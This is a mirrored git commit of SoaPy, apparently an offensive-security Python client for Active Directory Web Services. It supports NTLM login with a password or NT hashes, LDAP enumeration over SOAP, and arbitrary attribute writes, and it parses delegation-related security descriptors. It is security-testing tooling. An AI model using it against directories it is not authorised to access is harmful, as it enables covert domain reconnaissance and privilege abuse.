mirror of
https://github.com/xforcered/SoaPy
synced 2026-06-21 14:14:03 +00:00
Initial push
This commit is contained in:
@@ -0,0 +1,7 @@
|
||||
from .ms_nmf import NMFConnection
|
||||
from .ms_nns import NNS
|
||||
from .encoder import Encoder
|
||||
from .adws import ADWSConnect
|
||||
from .soa import run_cli
|
||||
|
||||
__all__ = ["NMFConnection", "NNS", "Encoder", "ADWSConnect", "run_cli"]
|
||||
+757
@@ -0,0 +1,757 @@
|
||||
import datetime
|
||||
import logging
|
||||
import socket
|
||||
from base64 import b64decode
|
||||
from enum import IntFlag
|
||||
from typing import Self, Type
|
||||
from uuid import UUID, uuid4
|
||||
from xml.etree import ElementTree
|
||||
|
||||
from impacket.ldap.ldaptypes import (
|
||||
ACCESS_ALLOWED_ACE,
|
||||
ACCESS_ALLOWED_CALLBACK_ACE,
|
||||
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE,
|
||||
ACCESS_ALLOWED_OBJECT_ACE,
|
||||
LDAP_SID,
|
||||
SR_SECURITY_DESCRIPTOR,
|
||||
SYSTEM_MANDATORY_LABEL_ACE,
|
||||
)
|
||||
from pyasn1.type.useful import GeneralizedTime
|
||||
|
||||
import src.ms_nmf as ms_nmf
|
||||
from src.ms_nns import NNS
|
||||
|
||||
from .soap_templates import (
|
||||
LDAP_PULL_FSTRING,
|
||||
LDAP_PUT_FSTRING,
|
||||
LDAP_QUERY_FSTRING,
|
||||
NAMESPACES,
|
||||
)
|
||||
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-systemflags
|
||||
class SystemFlags(IntFlag):
|
||||
NONE = 0x00000000
|
||||
NO_REPLICATION = 0x00000001
|
||||
REPLICATE_TO_GC = 0x00000002
|
||||
CONSTRUCTED = 0x00000004
|
||||
CATEGORY_1 = 0x00000010
|
||||
NOT_DELETED = 0x02000000
|
||||
CANNOT_MOVE = 0x04000000
|
||||
CANNOT_RENAME = 0x08000000
|
||||
MOVED_WITH_RESTRICTIONS = 0x10000000
|
||||
MOVED = 0x20000000
|
||||
RENAMED = 0x40000000
|
||||
CANNOT_DELETE = 0x80000000
|
||||
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-instancetype
|
||||
class InstanceTypeFlags(IntFlag):
|
||||
HEAD_OF_NAMING_CONTEXT = 0x00000001
|
||||
REPLICA_NOT_INSTANTIATED = 0x00000002
|
||||
OBJECT_WRITABLE = 0x00000004
|
||||
NAMING_CONTEXT_HELD = 0x00000008
|
||||
CONSTRUCTING_NAMING_CONTEXT = 0x00000010
|
||||
REMOVING_NAMING_CONTEXT = 0x00000020
|
||||
|
||||
|
||||
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-grouptype
|
||||
class GroupTypeFlags(IntFlag):
|
||||
SYSTEM_GROUP = 0x00000001
|
||||
GLOBAL_SCOPE = 0x00000002
|
||||
DOMAIN_LOCAL_SCOPE = 0x00000004
|
||||
UNIVERSAL_SCOPE = 0x00000008
|
||||
APP_BASIC_GROUP = 0x00000010
|
||||
APP_QUERY_GROUP = 0x00000020
|
||||
SECURITY_GROUP = 0x80000000
|
||||
|
||||
|
||||
# https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
|
||||
class AccountPropertyFlag(IntFlag):
|
||||
SCRIPT = 0x0001
|
||||
ACCOUNTDISABLE = 0x0002
|
||||
HOMEDIR_REQUIRED = 0x0008
|
||||
LOCKOUT = 0x0010
|
||||
PASSWD_NOTREQD = 0x0020
|
||||
PASSWD_CANT_CHANGE = 0x0040
|
||||
ENCRYPTED_TEXT_PWD_ALLOWED = 0x0080
|
||||
TEMP_DUPLICATE_ACCOUNT = 0x0100
|
||||
NORMAL_ACCOUNT = 0x0200
|
||||
DISABLED_ACCOUNT = 0x0202 # Not officially documented
|
||||
ENABLED_PASSWORD_NOT_REQUIRED = 0x0220 # Not officially documented
|
||||
DISABLED_PASSWORD_NOT_REQUIRED = 0x0222 # Not officially documented
|
||||
INTERDOMAIN_TRUST_ACCOUNT = 0x0800
|
||||
WORKSTATION_TRUST_ACCOUNT = 0x1000
|
||||
SERVER_TRUST_ACCOUNT = 0x2000
|
||||
DONT_EXPIRE_PASSWORD = 0x10000
|
||||
ENABLED_PASSWORD_DOESNT_EXPIRE = 0x10200 # Not officially documented
|
||||
DISABLED_PASSWORD_DOESNT_EXPIRE = 0x10202 # Not officially documented
|
||||
DISABLED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = 0x10222 # Not officially documented
|
||||
MNS_LOGON_ACCOUNT = 0x20000
|
||||
SMARTCARD_REQUIRED = 0x40000
|
||||
ENABLED_SMARTCARD_REQUIRED = 0x40200 # Not officially documented
|
||||
DISABLED_SMARTCARD_REQUIRED = 0x40202 # Not officially documented
|
||||
DISABLED_SMARTCARD_REQUIRED_PASSWORD_NOT_REQUIRED = (
|
||||
0x40222 # Not officially documented
|
||||
)
|
||||
DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE = (
|
||||
0x50202 # Not officially documented
|
||||
)
|
||||
DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = (
|
||||
0x50222 # Not officially documented
|
||||
)
|
||||
TRUSTED_FOR_DELEGATION = 0x80000
|
||||
DOMAIN_CONTROLLER = 0x82000
|
||||
NOT_DELEGATED = 0x100000
|
||||
USE_DES_KEY_ONLY = 0x200000
|
||||
DONT_REQ_PREAUTH = 0x400000
|
||||
PASSWORD_EXPIRED = 0x800000
|
||||
TRUSTED_TO_AUTH_FOR_DELEGATION = 0x1000000
|
||||
PARTIAL_SECRETS_ACCOUNT = 0x04000000
|
||||
|
||||
|
||||
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/impacket/dcerpc/v5/samr.py#L176
|
||||
class SamAccountType(IntFlag):
|
||||
SAM_DOMAIN_OBJECT = 0x00000000
|
||||
SAM_GROUP_OBJECT = 0x10000000
|
||||
SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001
|
||||
SAM_ALIAS_OBJECT = 0x20000000
|
||||
SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001
|
||||
SAM_USER_OBJECT = 0x30000000
|
||||
SAM_MACHINE_ACCOUNT = 0x30000001
|
||||
SAM_TRUST_ACCOUNT = 0x30000002
|
||||
SAM_APP_BASIC_GROUP = 0x40000000
|
||||
SAM_APP_QUERY_GROUP = 0x40000001
|
||||
|
||||
|
||||
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/examples/describeTicket.py#L118
|
||||
BUILT_IN_GROUPS = {
|
||||
"498": "Enterprise Read-Only Domain Controllers",
|
||||
"512": "Domain Admins",
|
||||
"513": "Domain Users",
|
||||
"514": "Domain Guests",
|
||||
"515": "Domain Computers",
|
||||
"516": "Domain Controllers",
|
||||
"517": "Cert Publishers",
|
||||
"518": "Schema Admins",
|
||||
"519": "Enterprise Admins",
|
||||
"520": "Group Policy Creator Owners",
|
||||
"521": "Read-Only Domain Controllers",
|
||||
"522": "Cloneable Controllers",
|
||||
"525": "Protected Users",
|
||||
"526": "Key Admins",
|
||||
"527": "Enterprise Key Admins",
|
||||
"553": "RAS and IAS Servers",
|
||||
"571": "Allowed RODC Password Replication Group",
|
||||
"572": "Denied RODC Password Replication Group",
|
||||
}
|
||||
|
||||
# Universal SIDs
|
||||
WELL_KNOWN_SIDS = {
|
||||
"S-1-0": "Null Authority",
|
||||
"S-1-0-0": "Nobody",
|
||||
"S-1-1": "World Authority",
|
||||
"S-1-1-0": "Everyone",
|
||||
"S-1-2": "Local Authority",
|
||||
"S-1-2-0": "Local",
|
||||
"S-1-2-1": "Console Logon",
|
||||
"S-1-3": "Creator Authority",
|
||||
"S-1-3-0": "Creator Owner",
|
||||
"S-1-3-1": "Creator Group",
|
||||
"S-1-3-2": "Creator Owner Server",
|
||||
"S-1-3-3": "Creator Group Server",
|
||||
"S-1-3-4": "Owner Rights",
|
||||
"S-1-5-80-0": "All Services",
|
||||
"S-1-4": "Non-unique Authority",
|
||||
"S-1-5": "NT Authority",
|
||||
"S-1-5-1": "Dialup",
|
||||
"S-1-5-2": "Network",
|
||||
"S-1-5-3": "Batch",
|
||||
"S-1-5-4": "Interactive",
|
||||
"S-1-5-6": "Service",
|
||||
"S-1-5-7": "Anonymous",
|
||||
"S-1-5-8": "Proxy",
|
||||
"S-1-5-9": "Enterprise Domain Controllers",
|
||||
"S-1-5-10": "Principal Self",
|
||||
"S-1-5-11": "Authenticated Users",
|
||||
"S-1-5-12": "Restricted Code",
|
||||
"S-1-5-13": "Terminal Server Users",
|
||||
"S-1-5-14": "Remote Interactive Logon",
|
||||
"S-1-5-15": "This Organization",
|
||||
"S-1-5-17": "This Organization",
|
||||
"S-1-5-18": "Local System",
|
||||
"S-1-5-19": "NT Authority",
|
||||
"S-1-5-20": "NT Authority",
|
||||
"S-1-5-32-544": "Administrators",
|
||||
"S-1-5-32-545": "Users",
|
||||
"S-1-5-32-546": "Guests",
|
||||
"S-1-5-32-547": "Power Users",
|
||||
"S-1-5-32-548": "Account Operators",
|
||||
"S-1-5-32-549": "Server Operators",
|
||||
"S-1-5-32-550": "Print Operators",
|
||||
"S-1-5-32-551": "Backup Operators",
|
||||
"S-1-5-32-552": "Replicators",
|
||||
"S-1-5-64-10": "NTLM Authentication",
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
"S-1-16-8448": "Medium Plus Mandatory Level",
|
||||
"S-1-16-12288": "High Mandatory Level",
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
class ADWSError(Exception): ...
|
||||
|
||||
|
||||
class ADWSAuthType: ...
|
||||
|
||||
|
||||
class NTLMAuth(ADWSAuthType):
|
||||
def __init__(self, password: str | None = None, hashes: str | None = None):
|
||||
if not (password or hashes):
|
||||
raise ValueError("NTLM auth requires either a password or hashes.")
|
||||
|
||||
if password and hashes:
|
||||
raise ValueError("Provide either a password or hashes, not both.")
|
||||
|
||||
if hashes:
|
||||
self.nt = hashes
|
||||
else:
|
||||
self.nt = None
|
||||
|
||||
self.password = password
|
||||
|
||||
|
||||
class ADWSConnect:
|
||||
def __init__(
|
||||
self,
|
||||
fqdn: str,
|
||||
domain: str,
|
||||
username: str,
|
||||
auth: NTLMAuth,
|
||||
resource: str,
|
||||
):
|
||||
"""Creates an ADWS client connection to the specified endpoint
|
||||
useing the specified auth. Allows for making different types of
|
||||
queries to the ADWS Server.
|
||||
|
||||
The client connects to different endpoints which allow different types
|
||||
of requests to be made. **See [MS-ADDM]: 2.1 for a full list of endpoints.** This
|
||||
client only supports endpoints which use windows integrated authentication.
|
||||
|
||||
Args:
|
||||
fqdn (str): fqdn of the domain controler the adws service is running on
|
||||
domain (str): the domain
|
||||
username (str): user to auth as
|
||||
auth (NTLMAuth): auth mechanism to use
|
||||
resource (str): the resource dictates what endpoint the client
|
||||
connects to which in turn dictates what types of requests
|
||||
it can make
|
||||
"""
|
||||
self._fqdn = fqdn
|
||||
self._domain = domain
|
||||
self._username = username
|
||||
self._auth = auth
|
||||
|
||||
self._resource: str = resource
|
||||
"""the connection mode of the client <'Resource', 'ResourceFactory',
|
||||
'Enumeration', AccountManagement', 'TopologyManagement'>"""
|
||||
|
||||
self._nmf: ms_nmf.NMFConnection = self._connect(self._fqdn, self._resource)
|
||||
|
||||
def _create_NNS_from_auth(self, sock: socket.socket) -> NNS:
|
||||
if isinstance(self._auth, NTLMAuth):
|
||||
return NNS(
|
||||
socket=sock,
|
||||
fqdn=self._fqdn,
|
||||
domain=self._domain,
|
||||
username=self._username,
|
||||
password=self._auth.password,
|
||||
nt=self._auth.nt if self._auth.nt else "",
|
||||
)
|
||||
raise NotImplementedError
|
||||
|
||||
def _connect(self, remoteName: str, resource: str) -> ms_nmf.NMFConnection:
|
||||
"""Connect to the specified ADWS endpoint at the
|
||||
remoteName
|
||||
|
||||
Args:
|
||||
remoteName (str): fqdn
|
||||
resource (str): endpoint to connect to <'Resource', 'ResourceFactory',
|
||||
'Enumeration', AccountManagement', 'TopologyManagement'>
|
||||
"""
|
||||
|
||||
server_address: tuple[str, int] = (remoteName, 9389)
|
||||
logging.info(f"Connecting to {remoteName} for {self._resource}")
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect(server_address)
|
||||
|
||||
nmf = ms_nmf.NMFConnection(
|
||||
self._create_NNS_from_auth(sock),
|
||||
fqdn=remoteName,
|
||||
)
|
||||
|
||||
nmf.connect(f"Windows/{resource}")
|
||||
|
||||
return nmf
|
||||
|
||||
def _query_enumeration(
|
||||
self, remoteName: str, nmf: ms_nmf.NMFConnection, query: str, attributes: list
|
||||
) -> str | None:
|
||||
"""Send the query and set up an enumeration context for the results
|
||||
|
||||
Args:
|
||||
remoteName (str): remote server fqdn, used for soap addressing
|
||||
nmf (ms_nmf.NMFConnection): the transport to use
|
||||
query (str): the ldap query to use
|
||||
attributes (list): ldap attributes to return
|
||||
|
||||
Returns:
|
||||
str or None: the enumeration context, or None in error
|
||||
"""
|
||||
|
||||
"""Format passed attributes"""
|
||||
fAttributes: str = ""
|
||||
for attr in attributes:
|
||||
fAttributes += (
|
||||
"<ad:SelectionProperty>addata:{attr}</ad:SelectionProperty>\n".format(
|
||||
attr=attr
|
||||
)
|
||||
)
|
||||
|
||||
query_vars = {
|
||||
"uuid": str(uuid4()),
|
||||
"fqdn": remoteName,
|
||||
"query": query,
|
||||
"attributes": fAttributes,
|
||||
"baseobj": ",".join([f"DC={i}" for i in self._domain.split(".")]),
|
||||
}
|
||||
|
||||
enumeration = LDAP_QUERY_FSTRING.format(**query_vars)
|
||||
|
||||
nmf.send(enumeration)
|
||||
enumerationResponse = nmf.recv()
|
||||
|
||||
et = self._handle_str_to_xml(enumerationResponse)
|
||||
if not et:
|
||||
raise ValueError("was unable to parse xml from the server response")
|
||||
|
||||
enum_ctx = et.find(".//wsen:EnumerationContext", NAMESPACES)
|
||||
|
||||
return enum_ctx.text if enum_ctx is not None else None
|
||||
|
||||
def _pull_results(
|
||||
self, remoteName: str, nmf: ms_nmf.NMFConnection, enum_ctx: str
|
||||
) -> tuple[ElementTree.Element, bool]:
|
||||
"""pull the results of an enumeration ctx from server.
|
||||
|
||||
Returns the results, and if there are no more results,
|
||||
returns the last result and false.
|
||||
|
||||
Args:
|
||||
remoteName (str): the fqdn of the server, for soap addressing
|
||||
nmf (ms_nmf.NMFConnection): the transport to use
|
||||
enum_ctx (str): the enumeration ctx to pull
|
||||
|
||||
Returns:
|
||||
Tuple(Element, bool): the result, and more to pull
|
||||
"""
|
||||
|
||||
pull_vars = {
|
||||
"uuid": str(uuid4()),
|
||||
"fqdn": remoteName,
|
||||
"enum_ctx": enum_ctx,
|
||||
}
|
||||
|
||||
pull = LDAP_PULL_FSTRING.format(**pull_vars)
|
||||
nmf.send(pull)
|
||||
pullResponse = nmf.recv()
|
||||
|
||||
et = self._handle_str_to_xml(pullResponse)
|
||||
if not et:
|
||||
raise ValueError("was unable to parse xml from the server response")
|
||||
|
||||
final_pkt = et.find(".//wsen:EndOfSequence", namespaces=NAMESPACES)
|
||||
if final_pkt is not None:
|
||||
return (et, False)
|
||||
|
||||
return (et, True)
|
||||
|
||||
def _handle_str_to_xml(self, xmlstr: str) -> ElementTree.Element | None:
|
||||
"""Takes an xml string and returns an Element of the root
|
||||
node of an xml object.
|
||||
Also deals with error and faults in the response
|
||||
|
||||
Args:
|
||||
xmlstr (str): str form of xml data
|
||||
|
||||
Returns:
|
||||
Element: xml object
|
||||
|
||||
Raises:
|
||||
ADWSError: Raises if there is a fault in the
|
||||
soap message return by the server
|
||||
"""
|
||||
|
||||
if ":Fault>" and ":Reason>" not in xmlstr:
|
||||
return ElementTree.fromstring(xmlstr)
|
||||
|
||||
def manually_cut_out_fault(xml_str: str) -> str:
|
||||
"""cut out the fault text description using
|
||||
slices. This is dirty and not certain but
|
||||
if it cant be parsed with xml parsers, its
|
||||
all we have.
|
||||
|
||||
Args:
|
||||
xml_str (str): str of xml data
|
||||
|
||||
Returns:
|
||||
str: the fault msg
|
||||
"""
|
||||
starttag = xml_str.find(":Text") + len(":Text")
|
||||
endtag = xml_str[starttag:].find(":Text")
|
||||
return xml_str[starttag : starttag + endtag]
|
||||
|
||||
et: ElementTree.Element | None = None
|
||||
try:
|
||||
et = ElementTree.fromstring(xmlstr)
|
||||
except ElementTree.ParseError:
|
||||
msg = manually_cut_out_fault(xmlstr)
|
||||
raise ADWSError(msg)
|
||||
|
||||
base_msg = str()
|
||||
|
||||
fault = et.find(".//soapenv:Fault", namespaces=NAMESPACES)
|
||||
if not fault: # maybe there isnt actually anything erroring?
|
||||
return et
|
||||
|
||||
reason = fault.find(".//soapenv:Text", namespaces=NAMESPACES)
|
||||
base_msg += reason.text if reason is not None else "" # type: ignore
|
||||
|
||||
detail = fault.find(".//soapenv:Detail", namespaces=NAMESPACES)
|
||||
if detail is not None:
|
||||
ElementTree.indent(detail)
|
||||
detail_xmlstr = (
|
||||
ElementTree.tostring(detail, encoding="unicode")
|
||||
if detail is not None
|
||||
else ""
|
||||
)
|
||||
else:
|
||||
detail_xmlstr = ""
|
||||
|
||||
raise ADWSError(base_msg + detail_xmlstr)
|
||||
|
||||
def _get_tag_name(self, elem: ElementTree.Element) -> str:
|
||||
return elem.tag.split("}")[-1] if "}" in elem.tag else elem.tag
|
||||
|
||||
def _format_flags(self, value: int, intflag_class: Type[IntFlag]) -> str:
|
||||
"""
|
||||
Formats an integer value into a string of flags based on an IntFlag class.
|
||||
|
||||
Args:
|
||||
value (int): The integer value to format.
|
||||
intflag_class (Type[IntFlag]): The IntFlag class to use for flag names.
|
||||
|
||||
Returns:
|
||||
str: The formatted string representing the flags.
|
||||
"""
|
||||
flags = [
|
||||
flag.name if flag & int(value) else f"{flag.value:#010x}"
|
||||
for flag in intflag_class
|
||||
if flag & int(value)
|
||||
]
|
||||
flags = [flag for flag in flags if flag]
|
||||
|
||||
flag_results = f" flags: {', '.join(flags)}" if flags else ""
|
||||
return f"{value}{flag_results}"
|
||||
|
||||
def _pretty_print_response(
|
||||
self, et: ElementTree.Element, print_synthetic_vars: bool = False
|
||||
) -> None:
|
||||
"""Pretty print the xml ldap objects in the response.
|
||||
|
||||
Handle translating types from LDAPSyntax to human readable
|
||||
|
||||
Args:
|
||||
et (ElementTree.Element): response xml element tree
|
||||
print_synthetic_vars (bool): print synthetic vars, see ([MS-ADDM]: 2.3.3)
|
||||
"""
|
||||
|
||||
for item in et.findall(".//ad:value/../..", namespaces=NAMESPACES):
|
||||
synthetic_attributes = []
|
||||
print(
|
||||
("[+] Object Found: " + self._get_tag_name(item)),
|
||||
end="\n",
|
||||
)
|
||||
|
||||
object_values: dict[str, str] = {}
|
||||
for part in item.findall(".//ad:value/..", namespaces=NAMESPACES):
|
||||
if "LdapSyntax" not in part.attrib:
|
||||
if print_synthetic_vars:
|
||||
synthetic_attributes.append(part)
|
||||
continue
|
||||
|
||||
name = self._get_tag_name(part)
|
||||
syntax = part.attrib["LdapSyntax"]
|
||||
values = [
|
||||
value.text
|
||||
for value in part.findall(".//ad:value", namespaces=NAMESPACES)
|
||||
if value is not None and value.text
|
||||
]
|
||||
|
||||
parsed: list[str] = []
|
||||
if syntax == "SidString":
|
||||
for value in values:
|
||||
sid = LDAP_SID(data=b64decode(value)).formatCanonical()
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
sid += f" Well known sid: {WELL_KNOWN_SIDS[sid]}"
|
||||
parsed.append(sid)
|
||||
elif syntax == "GeneralizedTimeString":
|
||||
parsed = [
|
||||
GeneralizedTime(value).asDateTime.astimezone().isoformat()
|
||||
for value in values
|
||||
]
|
||||
|
||||
if name in [
|
||||
"accountExpires",
|
||||
"lastLogoff",
|
||||
"badPasswordTime",
|
||||
"lastLogon",
|
||||
"pwdLastSet",
|
||||
"lastLogonTimestamp",
|
||||
]:
|
||||
for v in values:
|
||||
if int(v) == 0x0 or int(v) == 0x7FFFFFFFFFFFFFFF:
|
||||
parsed.append("none/never")
|
||||
else:
|
||||
us = int(v) / 10
|
||||
parsed.append(
|
||||
(
|
||||
datetime.datetime(
|
||||
1601, 1, 1, tzinfo=datetime.timezone.utc
|
||||
)
|
||||
+ datetime.timedelta(microseconds=us)
|
||||
).isoformat()
|
||||
)
|
||||
elif name in ["objectGUID"]:
|
||||
parsed = [str(UUID(bytes=b64decode(value))) for value in values]
|
||||
elif name == "userAccountControl":
|
||||
parsed = [
|
||||
self._format_flags(int(value), AccountPropertyFlag)
|
||||
for value in values
|
||||
]
|
||||
elif name == "sAMAccountType":
|
||||
parsed = [
|
||||
self._format_flags(int(value), SamAccountType)
|
||||
for value in values
|
||||
]
|
||||
elif name == "primaryGroupID":
|
||||
parsed = []
|
||||
for value in values:
|
||||
group = value
|
||||
if value in BUILT_IN_GROUPS:
|
||||
group += f" Well known group: {BUILT_IN_GROUPS[value]}"
|
||||
parsed.append(group)
|
||||
elif name == "groupType":
|
||||
parsed = [
|
||||
self._format_flags(int(value), GroupTypeFlags)
|
||||
for value in values
|
||||
]
|
||||
elif name == "instanceType":
|
||||
parsed = [
|
||||
self._format_flags(int(value), InstanceTypeFlags)
|
||||
for value in values
|
||||
]
|
||||
elif name == "systemFlags":
|
||||
parsed = [
|
||||
self._format_flags(int(value), SystemFlags) for value in values
|
||||
]
|
||||
elif name == "msDS-AllowedToActOnBehalfOfOtherIdentity":
|
||||
parsed = []
|
||||
for value in values:
|
||||
sd = SR_SECURITY_DESCRIPTOR(data=b64decode(value))
|
||||
aces = [
|
||||
ace["Ace"]["Sid"].formatCanonical()
|
||||
for ace in sd["Dacl"].aces
|
||||
if ace["AceType"]
|
||||
in (
|
||||
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE.ACE_TYPE,
|
||||
ACCESS_ALLOWED_ACE.ACE_TYPE,
|
||||
ACCESS_ALLOWED_CALLBACK_ACE.ACE_TYPE,
|
||||
ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE,
|
||||
SYSTEM_MANDATORY_LABEL_ACE.ACE_TYPE,
|
||||
)
|
||||
]
|
||||
parsed.append(f"{value} DACL ACE SIDs: {' '.join(aces)}")
|
||||
|
||||
object_values[name] = " ".join(parsed if parsed else values)
|
||||
|
||||
format_str = f"{{:>{22}}}: {{:<}}"
|
||||
for k, v in object_values.items():
|
||||
print(format_str.format(k, v))
|
||||
print()
|
||||
|
||||
if print_synthetic_vars:
|
||||
for part in synthetic_attributes:
|
||||
name = self._get_tag_name(part)
|
||||
values = [
|
||||
value.text
|
||||
for value in part.findall(".//ad:value", namespaces=NAMESPACES)
|
||||
if value is not None and value.text
|
||||
]
|
||||
print(f"{name}: {' '.join(values)}")
|
||||
|
||||
def put(
|
||||
self,
|
||||
object_ref: str,
|
||||
operation: str,
|
||||
attribute: str,
|
||||
data_type: str,
|
||||
value: str,
|
||||
) -> bool:
|
||||
"""CRUD on attribute
|
||||
|
||||
Args:
|
||||
client (NMFConnection): connected client
|
||||
object_ref (str): DN of object to write attribute on
|
||||
fqdn (str): fqdn of the DC
|
||||
operation (str): operation to preform on the attribute: <'add', 'delete', 'replace'> [MS-WSTIM]: 3.2.4.2.3.1
|
||||
attribute (str): attribute type including the namespace
|
||||
data_type (str): datatype, <'string', 'base64Base'> [MS-ADDM]: 2.3.4
|
||||
value (str): string value for attribute in UTF-8
|
||||
|
||||
Returns:
|
||||
bool: error
|
||||
"""
|
||||
if self._resource != "Resource":
|
||||
raise NotImplementedError("Put is only supported on 'put' clients")
|
||||
|
||||
put_vars = {
|
||||
"object_ref": object_ref,
|
||||
"uuid": str(uuid4()),
|
||||
"fqdn": self._fqdn,
|
||||
"operation": operation,
|
||||
"attribute": attribute,
|
||||
"data_type": data_type,
|
||||
"value": value,
|
||||
}
|
||||
|
||||
put_msg = LDAP_PUT_FSTRING.format(**put_vars)
|
||||
|
||||
self._nmf.send(put_msg)
|
||||
resp_str = self._nmf.recv()
|
||||
et = self._handle_str_to_xml(resp_str)
|
||||
if not et:
|
||||
raise ValueError("was unable to parse xml from the server response")
|
||||
|
||||
body = et.find(".//soapenv:Body", namespaces=NAMESPACES)
|
||||
|
||||
return (
|
||||
body is None
|
||||
or len(body) == 0
|
||||
and (body.text is None or body.text.strip() == "")
|
||||
)
|
||||
|
||||
def pull(
|
||||
self,
|
||||
query: str,
|
||||
attributes: list,
|
||||
print_incrementally: bool = False,
|
||||
) -> ElementTree.Element:
|
||||
"""Makes an LDAP query using ADWS to the specified server
|
||||
|
||||
Args:
|
||||
fqdn (str): the fqdn of the domain controller
|
||||
query (str): the ldap query as a string
|
||||
print_incrementally (bool): print the results as they come in
|
||||
|
||||
Returns:
|
||||
ElementTree.Element: The soap response as xml
|
||||
"""
|
||||
if self._resource != "Enumeration":
|
||||
raise NotImplementedError("Pull is only supported on 'pull' clients")
|
||||
|
||||
enum_ctx = self._query_enumeration(
|
||||
remoteName=self._fqdn,
|
||||
nmf=self._nmf,
|
||||
query=query,
|
||||
attributes=attributes,
|
||||
)
|
||||
if enum_ctx is None:
|
||||
logging.error(
|
||||
"Server did not return an enumeration context in response to making a query"
|
||||
)
|
||||
raise ValueError("unable to get enumeration context")
|
||||
|
||||
ElementTree.register_namespace("wsen", NAMESPACES["wsen"])
|
||||
results: ElementTree.Element = ElementTree.Element("wsen:Items")
|
||||
more_results = True
|
||||
while more_results:
|
||||
et, more_results = self._pull_results(
|
||||
remoteName=self._fqdn, nmf=self._nmf, enum_ctx=enum_ctx
|
||||
)
|
||||
if len(et.findall(".//wsen:Items", namespaces=NAMESPACES)) == 0:
|
||||
logging.critical("No objects returned")
|
||||
else:
|
||||
for item in et.findall(".//wsen:Items", namespaces=NAMESPACES):
|
||||
results.append(item)
|
||||
|
||||
if print_incrementally:
|
||||
self._pretty_print_response(et)
|
||||
|
||||
return results
|
||||
|
||||
@classmethod
|
||||
def pull_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self:
|
||||
return cls(ip, domain, username, auth, "Enumeration")
|
||||
|
||||
@classmethod
|
||||
def put_client(cls, ip: str, domain: str, username: str, auth: NTLMAuth) -> Self:
|
||||
return cls(ip, domain, username, auth, "Resource")
|
||||
|
||||
@classmethod
|
||||
def create_client(
|
||||
cls, ip: str, domain: str, username: str, auth: NTLMAuth
|
||||
) -> Self:
|
||||
# return cls(ip, domain, username, auth, "ResourceFactory")
|
||||
raise NotImplementedError()
|
||||
|
||||
@classmethod
|
||||
def accounts_cap_client(
|
||||
cls, ip: str, domain: str, username: str, auth: NTLMAuth
|
||||
) -> Self:
|
||||
# return cls(ip, domain, username, auth, "AccountManagement")
|
||||
raise NotImplementedError()
|
||||
|
||||
@classmethod
|
||||
def topology_cap_client(
|
||||
cls, ip: str, domain: str, username: str, auth: NTLMAuth
|
||||
) -> Self:
|
||||
# return cls(ip, domain, username, auth, "TopologyManagement")
|
||||
raise NotImplementedError()
|
||||
@@ -0,0 +1,4 @@
|
||||
from .xml_parser import XMLParser
|
||||
from .encoder import Encoder
|
||||
|
||||
__all__ = ["XMLParser", "Encoder"]
|
||||
@@ -0,0 +1,123 @@
|
||||
from io import BytesIO
|
||||
|
||||
from .records import Net7BitInteger, record, dump_records, print_records
|
||||
from .xml_parser import XMLParser
|
||||
|
||||
|
||||
class Encoder:
|
||||
"""Preforms encoding and decoding on xml data.
|
||||
|
||||
Compliant with [MC-NBFX] and known extentions.
|
||||
|
||||
Supports known encoding types:
|
||||
|
||||
[MC-NBFS]
|
||||
[MC-NBFSE]
|
||||
"""
|
||||
|
||||
def __init__(self, encoding: int = 0x8):
|
||||
self._encoding = encoding
|
||||
|
||||
"""
|
||||
# TODO:
|
||||
Notes:
|
||||
Need to deal with persistant nbfse talk.
|
||||
|
||||
Since we are the sender, we dont need
|
||||
to track a dict from the server I think.
|
||||
|
||||
